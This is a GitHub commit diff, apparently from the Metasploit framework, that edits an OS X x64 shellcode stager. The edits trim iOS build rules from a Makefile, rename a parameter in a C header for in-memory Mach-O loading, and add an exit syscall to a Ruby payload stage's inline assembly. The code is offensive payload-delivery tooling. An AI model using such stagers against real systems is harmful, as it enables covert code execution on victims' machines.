File tree Expand file tree Collapse file tree 3 files changed +11
-12
lines changed
external/source/shellcode/osx/stager
modules/payloads/stages/osx/x64 Expand file tree Collapse file tree 3 files changed +11
-12
lines changed Original file line number Diff line number Diff line change 1
- CFLAGS =-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -O0
2
- SDK =` xcrun --sdk iphoneos --show-sdk-path `
3
- GCC_BIN =` xcrun --sdk iphoneos -f gcc `
4
- GCC_BASE =$(GCC_BIN ) $(CFLAGS ) -Wimplicit -isysroot $(SDK )
5
- GCC =$(GCC_BASE ) -arch arm64
6
-
7
- SDK_OSX =` xcrun --sdk macosx --show-sdk-path `
1
+ CFLAGS =-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
8
2
GCC_BIN_OSX =` xcrun --sdk macosx -f gcc `
9
- GCC_BASE_OSX =$(GCC_BIN_OSX ) -Os $(CFLAGS )
3
+ GCC_BASE_OSX =$(GCC_BIN_OSX ) $(CFLAGS )
10
4
GCC_OSX =$(GCC_BASE_OSX ) -arch x86_64
11
5
12
6
all : clean main_osx
@@ -21,5 +15,5 @@ shellcode: install
21
15
otool -tv main_osx
22
16
23
17
clean :
24
- rm -f * .o main_ios main_osx
18
+ rm -f * .o main_osx
25
19
Original file line number Diff line number Diff line change 20
20
typedef NSObjectFileImageReturnCode (* NSCreateObjectFileImageFromMemory_ptr )(void * address , unsigned long size , NSObjectFileImage * objectFileImage );
21
21
typedef NSModule (* NSLinkModule_ptr )(NSObjectFileImage objectFileImage , const char * moduleName , unsigned long options );
22
22
23
- uint64_t find_macho (uint64_t addr , unsigned int increment , unsigned int dereference );
23
+ uint64_t find_macho (uint64_t addr , unsigned int increment , unsigned int pointer );
24
24
uint64_t find_symbol (uint64_t base , char * symbol );
25
25
uint64_t find_entry_offset (struct mach_header_64 * mh );
26
26
int string_compare (const char * s1 , const char * s2 );
Original file line number Diff line number Diff line change @@ -101,9 +101,9 @@ def handle_intermediate_stage(conn, payload)
101
101
102
102
; setup stack?
103
103
and rsp, -0x10 ; Align
104
- add sp, 0x40 ; Add room for initial stack and prog name
104
+ add sp, 0x40 ; Add room for initial stack and prog name
105
105
mov rax, 109 ; prog name "m"
106
- push 0 ;
106
+ push 0 ;
107
107
mov rcx, rsp ; save the stack
108
108
push 0
109
109
push 0
@@ -122,6 +122,11 @@ def handle_intermediate_stage(conn, payload)
122
122
mov rax, #{ entry_offset }
123
123
add rsi, rax
124
124
call rsi
125
+
126
+ ; exit
127
+ mov eax, 0x2000001
128
+ mov rdi, 0x1
129
+ syscall
125
130
)
126
131
midstager = Metasm ::Shellcode . assemble ( Metasm ::X64 . new , midstager_asm ) . encode_string
127
132
print_status ( "Transmitting first stager...(#{ midstager . length } bytes)" )
You can’t perform that action at this time.
0 commit comments